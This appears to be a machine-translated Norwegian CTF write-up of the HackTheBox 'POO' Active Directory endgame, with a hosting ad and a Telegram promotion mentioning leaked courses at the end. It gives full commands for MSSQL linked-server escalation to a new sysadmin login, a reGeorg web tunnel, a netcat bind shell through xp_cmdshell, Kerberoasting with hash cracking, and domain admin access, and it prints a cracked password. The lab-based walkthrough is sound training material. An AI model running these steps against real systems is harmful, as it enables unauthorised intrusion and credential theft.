HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

I denne artikkelen vil vi analysere passasjen til ikke bare en maskin, men et helt minilaboratorium fra nettstedet HackTheBox.

Som det fremgÄr av beskrivelsen, er POO designet for Ä teste ferdigheter i alle stadier av angrep i et lite Active Directory-miljÞ. MÄlet er Ä kompromittere en tilgjengelig vert, eskalere privilegier og til slutt kompromittere hele domenet mens du samler inn 5 flagg.

Tilkobling til laboratoriet skjer via VPN. Det anbefales Ä ikke koble til fra en arbeidsdatamaskin eller fra en vert der det er data som er viktige for deg, siden du havner pÄ et privat nettverk med folk som kan noe innen informasjonssikkerhet :)

Organisasjonsinformasjon
For Ä hjelpe deg med Ä holde deg oppdatert med nye artikler, programvare og annen informasjon, har jeg laget Telegram kanal О gruppe for Ä diskutere eventuelle problemer innen I&KB. OgsÄ dine personlige forespÞrsler, spÞrsmÄl, forslag og anbefalinger Jeg skal se pÄ det personlig og svare alle..

All informasjon presenteres kun for pedagogiske formÄl. Forfatteren av dette dokumentet pÄtar seg ikke noe ansvar for skader forÄrsaket av noen som fÞlge av bruk av kunnskap og teknikker som er oppnÄdd ved Ä studere dette dokumentet.

Intro

Dette sluttspillet bestÄr av to maskiner, og inneholder 5 flagg.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

En beskrivelse og adresse til den tilgjengelige verten er ogsÄ gitt.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

La oss komme i gang!

Recon flagg

Denne maskinen har IP-adressen 10.13.38.11, som jeg legger til i /etc/hosts.
10.13.38.11 poo.htb

FÞrst av alt skanner vi Äpne porter. Siden skanning av alle porter med nmap tar lang tid, vil jeg fÞrst gjÞre dette ved hjelp av masscan. Vi skanner alle TCP- og UDP-porter fra tun0-grensesnittet med en hastighet pÄ 500 pakker per sekund.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

NÄ, for Ä fÄ mer detaljert informasjon om tjenestene som kjÞrer pÄ portene, la oss kjÞre en skanning med -A-alternativet.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

SĂ„ vi har IIS- og MSSQL-tjenester. I dette tilfellet vil vi finne ut det virkelige DNS-navnet til domenet og datamaskinen. PĂ„ webserveren blir vi mĂžtt av IIS-hjemmesiden.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

La oss gÄ gjennom katalogene. Jeg bruker gobuster til dette. I parametrene angir vi antall trÄder 128 (-t), URL (-u), ordbok (-w) og utvidelser som interesserer oss (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Dette gir oss HTTP-autentisering for /admin-katalogen, i tillegg til en tilgjengelig skrivebordstjeneste .DS_Store-fil. .DS_Store er filer som lagrer egendefinerte innstillinger for en mappe, for eksempel en liste over filer, ikonplasseringer og det valgte bakgrunnsbildet. En slik fil kan havne i webserverkatalogen til webutviklere. PÄ denne mÄten fÄr vi informasjon om innholdet i katalogen. Til dette kan du bruke DS_Store-sÞkerobot.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Vi fÄr innholdet i katalogen. Det mest interessante her er /dev-katalogen, hvorfra vi kan se pÄ kildene og db-filene i to grener. Men vi kan bruke de fÞrste 6 tegnene i fil- og katalognavn hvis tjenesten er sÄrbar for IIS ShortName. Du kan se etter dette sikkerhetsproblemet ved Ä bruke IIS shortname Scanner.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Og vi finner én tekstfil som starter med "poo_co". Uten at jeg visste hva jeg skulle gjÞre videre, valgte jeg bare alle ordene som begynner med "co" fra katalogordboken.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Og vi ordner det med wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Og vi finner det rette ordet! Vi ser pÄ denne filen, lagrer legitimasjonen (ut fra DBNAME-parameteren er de fra MSSQL).

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Vi gir fra oss flagget og vi rykker opp 20%.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Hehe flagg

Vi kobler til MSSQL, jeg bruker DBeaver.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Vi finner ikke noe interessant i denne databasen, la oss lage en SQL Editor og sjekke hvilke brukere det er.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Vi har to brukere. La oss sjekke privilegiene vÄre.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Dermed er det ingen privilegier. La oss se pÄ koblede servere, jeg skrev om denne teknikken i detalj her.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Slik finner vi en annen SQL Server. La oss teste utfÞringen av kommandoer pÄ denne serveren ved Ä bruke openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Og vi kan til og med bygge et spĂžrringstre.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Poenget er at nÄr vi sender en forespÞrsel til en koblet server, blir forespÞrselen utfÞrt i sammenheng med en annen bruker! La oss se i sammenheng med hvilken bruker vi jobber pÄ en koblet server.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

La oss nÄ se i hvilken sammenheng en forespÞrsel sendes fra en koblet server til vÄr!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

SĂ„ det er DBO-konteksten som skal ha alle privilegiene. La oss sjekke privilegiene i tilfelle en forespĂžrsel fra en koblet server.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Som du kan se, har vi alle privilegiene! La oss lage vÄr egen admin som dette. Men de tillater det ikke gjennom openquery, la oss gjÞre det gjennom EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Og nÄ kobler vi til legitimasjonen til den nye brukeren, vi observerer den nye flaggdatabasen.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Vi overleverer dette flagget og gÄr videre.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

BackTrack flagg

La oss fÄ et skall med MSSQL, jeg bruker mssqlclient fra impacket-pakken.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Vi mÄ fÄ passord, og det fÞrste vi allerede har mÞtt er en nettside. Dermed trenger vi en webserverkonfigurasjon (det er ikke mulig Ä forlate et praktisk skall, tilsynelatende kjÞrer brannmuren).

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Men tilgang nektes. Selv om vi kan lese filen fra MSSQL, trenger vi bare Ä vite hvilke programmeringssprÄk som er konfigurert. Og i MSSQL-katalogen finner vi ut at det er Python.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Da er det ikke noe problem Ă„ lese web.config-filen.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Med den funnet legitimasjonen, gÄ til /admin og ta flagget.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Fotfeste flagg

Faktisk er det noen ulemper ved Ä bruke en brannmur, men ser vi gjennom nettverksinnstillingene ser vi at IPv6 ogsÄ brukes!

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

La oss legge til denne adressen i /etc/hosts.
dead:babe::1001 poo6.htb
La oss skanne verten pÄ nytt, men ved Ä bruke IPv6-protokollen.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Og WinRM-tjenesten er tilgjengelig over IPv6. La oss koble til legitimasjonen som ble funnet.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Det er et flagg pÄ skrivebordet, vi overleverer det.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

P00ned flagg

Etter Ä ha gjennomfÞrt rekognosering pÄ verten ved hjelp av vinerter Vi finner ikke noe spesielt. SÄ ble det besluttet Ä se etter legitimasjon igjen (jeg skrev ogsÄ om dette emnet artikkel). Men jeg klarte ikke Ä fÄ alle SPN-ene fra systemet via WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

La oss kjĂžre kommandoen via MSSQL.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Ved Ä bruke denne metoden fÄr vi SPN til brukerne p00_hr og p00_adm, noe som betyr at de er sÄrbare for et angrep som Kerberoasting. Kort sagt, vi kan fÄ passordhasjene deres.

FÞrst mÄ du fÄ et stabilt skall som MSSQL-bruker. Men siden vi er begrenset i tilgang, har vi kommunikasjon med verten bare gjennom portene 80 og 1433. Men det er mulig Ä tunnelere trafikk gjennom port 80! Til dette vil vi bruke fÞlgende sÞknad. La oss laste opp filen tunnel.aspx til hjemmekatalogen til webserveren - C:inetpubwwwroot.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Men nÄr vi prÞver Ä fÄ tilgang til den, fÄr vi en feil 404. Dette betyr at *.aspx-filer ikke kjÞres. For at filer med disse utvidelsene skal kjÞres, installer ASP.NET 4.5 som fÞlger.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Og nÄ, nÄr vi gÄr inn pÄ tunnel.aspx, fÄr vi et svar om at alt er klart til Ä gÄ.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

La oss starte klientdelen av applikasjonen, som vil videresende trafikk. Vi vil videresende all trafikk fra port 5432 til serveren.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Og vi bruker proxy-kjeder til Ä sende trafikk av alle applikasjoner gjennom vÄr proxy. La oss legge til denne proxyen i konfigurasjonsfilen /etc/proxychains.conf.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

La oss nÄ laste opp programmet til serveren nettkatt, som vi skal lage et stabilt bindingsskall og manus med Invoke-Kerberoast, som vi vil utfÞre et Kerberoasting-angrep med.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

NĂ„ starter vi lytteren via MSSQL.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Og vi kobler til via vÄr proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Og la oss fÄ hashen.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Deretter mÄ du iterere over disse hashene. Siden rockyou-ordboken ikke inneholdt disse passordene, brukte jeg ALLE passordordbÞkene som er gitt i Seclists. For sÞket bruker vi hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Og vi finner begge passordene, det fĂžrste i ordboken dutch_passwordlist.txt, og det andre i Keyboard-Combinations.txt.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Og sÄ vi har tre brukere, la oss gÄ til domenekontrolleren. FÞrst finner vi ut adressen hans.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Flott, vi fant ut IP-adressen til domenekontrolleren. La oss finne ut alle brukerne av domenet, samt hvem av dem som er administrator. For Ä laste ned skriptet for Ä fÄ informasjon PowerView.ps1. Deretter kobler vi til ved Ä bruke evil-winrm, og spesifiserer katalogen med skriptet i parameteren -s. Og sÄ laster vi bare PowerView-skriptet.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

NÄ har vi tilgang til alle funksjonene. p00_adm-brukeren ser ut som en privilegert bruker, sÄ vi vil jobbe i hans kontekst. La oss lage et PSCredential-objekt for denne brukeren.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

NĂ„ vil alle Powershell-kommandoer der vi spesifiserer Creds bli utfĂžrt som p00_adm. La oss vise en liste over brukere og AdminCount-attributtet.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

SÄ brukeren vÄr er virkelig privilegert. La oss se hvilke grupper han er i.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Vi bekrefter endelig at brukeren er en domeneadministrator. Dette gir ham rett til Ä logge pÄ domenekontrolleren eksternt. La oss prÞve Ä logge pÄ via WinRM ved Ä bruke tunnelen vÄr. Jeg ble forvirret av feilene produsert av reGeorg nÄr jeg brukte evil-winrm.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

SÄ la oss bruke en annen, enklere, manus for Ä koble til WinRM. La oss Äpne og endre tilkoblingsparametrene.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Vi prĂžver Ă„ koble til, og vi er i systemet.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Men det er ikke noe flagg. Se deretter pÄ brukeren og sjekk skrivebordene.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Vi finner flagget hos mr3ks og laboratoriet er 100% ferdigstilt.

HackTheBoxendgame. Passasje av laboratoriet Profesjonelle offensive operasjoner. Pentest Active Directory

Det er alt. Som en tilbakemelding, vennligst kommenter om du lĂŠrte noe nytt fra denne artikkelen og om den var nyttig for deg.

Du kan bli med oss ​​pĂ„ Telegram. Der kan du finne interessant materiale, lekkede kurs, samt programvare. La oss samle et fellesskap der det vil vĂŠre mennesker som forstĂ„r mange omrĂ„der innen IT, sĂ„ kan vi alltid hjelpe hverandre med alle IT- og informasjonssikkerhetsspĂžrsmĂ„l.

Kilde: www.habr.com

KjĂžp pĂ„litelig hosting for nettsteder med DDoS-beskyttelse, VPS VDS-servere đŸ”„ KjĂžp pĂ„litelig webhotell med DDoS-beskyttelse, VPS VDS-servere | ProHoster